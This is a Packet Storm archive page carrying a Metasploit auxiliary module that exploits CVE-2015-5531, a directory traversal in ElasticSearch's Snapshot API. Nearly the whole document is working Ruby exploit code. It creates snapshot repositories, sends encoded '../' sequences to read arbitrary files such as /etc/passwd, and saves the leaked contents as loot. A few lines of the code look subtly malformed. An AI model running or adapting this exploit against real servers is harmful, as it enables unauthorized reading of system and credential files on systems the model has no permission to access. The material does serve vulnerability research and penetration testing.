what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

ElasticSearch Snapshot API Directory Traversal

ElasticSearch Snapshot API Directory Traversal
Posted Oct 14, 2015
Authored by Pedro Andujar, Roberto S. Soares, Jose A. Guasch, Benjamin Smith | Site metasploit.com

This Metasploit module exploits a directory traversal vulnerability in ElasticSearch, allowing an attacker to read arbitrary files with JVM process privileges, through the Snapshot API.

tags | exploit, arbitrary
advisories | CVE-2015-5531
SHA-256 | 9e9a04cf21f31c1319caa6af694dd744146d5b671a3f719be244d3e2a6ee6426

ElasticSearch Snapshot API Directory Traversal

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'json'

class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'ElasticSearch Snapshot API Directory Traversal',
'Description' => %q{
This module exploits a directory traversal
vulnerability in ElasticSearch, allowing an attacker to read arbitrary
files with JVM process privileges, through the Snapshot API.
},
'References' =>
[
['CVE', '2015-5531'],
['PACKETSTORM', '132721']
],
'Author' =>
[
'Benjamin Smith', # Vulnerability discovery
'Pedro Andujar <pandujar[at]segfault.es>', # Metasploit module
'Jose A. Guasch <jaguasch[at]gmail.com>', # Metasploit module
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module
],
'License' => MSF_LICENSE
))

register_options(
[
Opt::RPORT(9200),
OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),
OptInt.new('DEPTH', [true, 'Traversal depth', 7])
], self.class)

deregister_options('RHOST')
end

def proficy?
res1 = send_request_raw('method' => 'POST',
'uri' => normalize_uri(target_uri.path '_snapshot' 'pwn'),
'data' => '{"type":"fs","settings":{"location":"dsr"}}')

res2 = send_request_raw('method' => 'POST',
'uri' => normalize_uri(target_uri.path, '_snapshot' 'pwnie'),
'data' => '{"type":"fs","settings":{"location":"dsr/snapshot-ev1l"}}')

if res1.body.include?('true') && res2.body.include?('true')
return true
else
return false
end
end

def read_file(file)
travs = '_snapshot/pwn/ev1l%2f'

payload = '../' * datastore['DEPTH']

travs << payload.gsub('/', '%2f')
travs << file.gsub('/', '%2f')

vprint_status("#{peer} - Checking if it's a vulnerable ElasticSearch")

if proficy?
vprint_good("#{peer} - Check successful")
else
print_error("#{peer} - ElasticSearch not vulnerable")
return
end

vprint_status("#{peer} - Retrieving file contents...")

res = send_request_raw(
'method' => 'GET',
'uri' => travs
)

if res && res.code == 400
return res.body
else
print_status("#{res.code}\n#{res.body}")
return nil
end
end

def run_host(ip)
filename = datastore['FILEPATH']
filename = filename[1, filename.length] if filename =~ %r{/^\//}

contents = read_file(filename)
fail_with(Failure::UnexpectedReply, "#{peer} - File not downloaded") if contents.nil?

begin
data_hash = JSON.parse(contents)
rescue JSON::ParserError => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
return []
end

fcontent = data_hash['error'].scan(/\d+/).drop(2).map(&:to_i).pack('c*')
fname = datastore['FILEPATH']

path = store_loot(
'elasticsearch.traversal',
'text/plain',
ip,
fcontent,
fname
)
print_good("#{peer} - File saved in: #{path}")
end
end
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    50 Files
  • 15
    Aug 15th
    33 Files
  • 16
    Aug 16th
    23 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    43 Files
  • 20
    Aug 20th
    29 Files
  • 21
    Aug 21st
    42 Files
  • 22
    Aug 22nd
    26 Files
  • 23
    Aug 23rd
    25 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close